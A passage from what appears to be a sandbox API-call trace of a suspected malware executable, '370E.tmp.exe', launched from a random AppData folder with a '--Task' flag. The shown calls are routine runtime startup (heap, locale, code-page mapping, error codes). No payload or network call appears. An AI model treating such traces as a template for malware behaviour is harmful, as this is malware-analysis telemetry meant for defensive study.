0x76cb46b1 [0053.672] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0053.673] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0053.673] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0053.673] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0053.673] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0053.673] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0053.673] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0053.673] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0053.673] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0053.673] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0053.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3bc) returned 0x5d1ec0 [0053.674] GetCurrentThreadId () returned 0x5cc [0053.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5d07a8 [0053.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x800) returned 0x5d2288 [0053.674] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskeng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x81, wShowWindow=0x4, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40c79e, hStdOutput=0xdee1e1f3, hStdError=0x0)) [0053.674] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0053.674] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0053.674] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0053.674] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --Task" [0053.674] GetEnvironmentStringsW () returned 0x5d2a90* [0053.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0053.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x565) returned 0x5d3568 [0053.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x5d3568, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0053.674] FreeEnvironmentStringsW (penv=0x5d2a90) returned 1 [0053.674] GetLastError () returned 0x7f [0053.674] SetLastError (dwErrCode=0x7f) [0053.674] GetLastError () returned 0x7f [0053.674] SetLastError (dwErrCode=0x7f) [0053.674] GetLastError () returned 0x7f [0053.674] SetLastError (dwErrCode=0x7f) [0053.675] GetACP () returned 0x4e4 [0053.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x220) returned 0x5d3ad8 [0053.675] GetLastError () returned 0x7f [0053.675] SetLastError (dwErrCode=0x7f) [0053.675] IsValidCodePage (CodePage=0x4e4) returned 1 [0053.675] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0053.675] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0053.675] GetLastError () returned 0x7f [0053.675] SetLastError (dwErrCode=0x7f) [0053.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.675] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0053.675] GetLastError () returned 0x7f [0053.675] SetLastError (dwErrCode=0x7f) [0053.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.675] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0053.675] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0053.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x73\xe0\xe1\xde\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0053.675] GetLastError () returned 0x7f [0053.675] SetLastError (dwErrCode=0x7f) [0053.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.675] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0053.675] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0053.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x73\xe0\xe1\xde\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0053.675] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x47c8f0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370e.tmp.exe")) returned 0x5d [0053.675] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.676] SetLastError (dwErrCode=0x0) [0053.676] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.677] SetLastError (dwErrCode=0x0) [0053.677] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] 